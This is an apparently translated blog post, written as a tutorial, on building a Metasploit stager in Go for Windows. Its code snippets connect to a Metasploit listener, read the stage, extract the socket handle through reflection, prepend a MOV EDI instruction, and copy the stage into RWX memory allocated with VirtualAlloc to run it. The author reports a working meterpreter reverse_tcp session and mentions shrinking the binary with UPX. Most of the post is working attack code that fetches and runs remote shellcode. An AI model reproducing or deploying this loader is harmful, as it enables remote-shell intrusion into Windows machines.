The development of MSF stages is not completely North oriented

Posted by pirri on Mon, 29 Jun 2020 11:17:12 +0200

Using Golang to develop stagers

Last article The development of MSF stages is not completely to the North (1) We talked about how to use c to develop the stagers of msf. In this article, we discussed how to use Golang to achieve the same function

Train of thought

In Golang, it's important to know how to get the file descriptor of socket. In addition, we still follow the same steps

  1. Send tcp request to msf listening address
  2. Get stages
  3. Put socket fd into register edi
  4. stages are executed from the start address

Compilation environment

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

Get stages

socket, err := net.Dial("tcp", "")
if err != nil {
    return err

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")

There are several points we need to pay attention to here. The first is to Read the length of stages by using binary library to convert it into int32. You can understand it as struct Library in python. The second is that we usually use Read to Read data from socket connection, but it can't Read all. It has a relationship with the network, so we need to use ReadFull or ReadAtLeast to Read. After reading the stages, we can proceed to the next step.

socket fd into edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

This part of the code is the difficulty I mentioned above. First, socket, err:= net.Dial ("TCP", "") returns an interface type Conn interface. We need to find out its real type. If we keep going, we will find that its real type is* net.TCPConn Why do you do this?

Let's look at this structure first

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {

type conn struct {
	fd *netFD

What we need is the file descriptor inside. Let's go back to it

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind

You can see that Sysfd is a file descriptor, which is what we want. We need to take it for a while. Because the lower case fields in Golang are not exported, we need to use reflection to take it

Note: this structure may be changed due to different versions of Golang. Please verify by yourself. The main reason is that the non exported fields are not officially guaranteed to be downward compatible

So the code to get the file descriptor is

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

The file descriptor is the value pointed to by the handle, which needs to be noted here

Then, the following operation is the same as our previous operation. Use the binary package to convert uint32 into a 4-byte array

Then we need to put socket fd into edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

Put MOV, EDI, XXX in the head of stages

Execute stages

All the preparatory work has been completed. The following is the preparation for implementation. It's similar to the way of shellcode execution. The way of implementation here is different. I only give me the way of implementation here

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

A string of strange characters can be omitted here, just to comply with the call convention of plan9 assembly, some push stores stack field and pop restore

Then, first apply for a read-write executable memory for VirtualAlloc, and then use RtlCopyMemory to copy the stages bytecode, and then start running.

The windows api here uses the following declaration

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")

In fact, you can also use the x/windows library.

Results display

64 bit compiles 1.73M, 616kb after upx compression, 32-bit compiles smaller

Try to execute

Monitor payload windows/x64/meterpreter/reverse_tcp, you can see the successful online

matters needing attention

  • This structure may be changed due to the inconsistency of Golang versions. Please verify it by yourself. The main reason is non export fields. The official does not guarantee downward compatibility
  • We still need to pay attention to the difference of bits. For example, 32-bit payload should be compiled with 32-bit, and 64-bit payload should be compiled with 64-bit

Result source code

I won't post the source code. In fact, it's also a combination of these codes

Topics: socket Windows network Python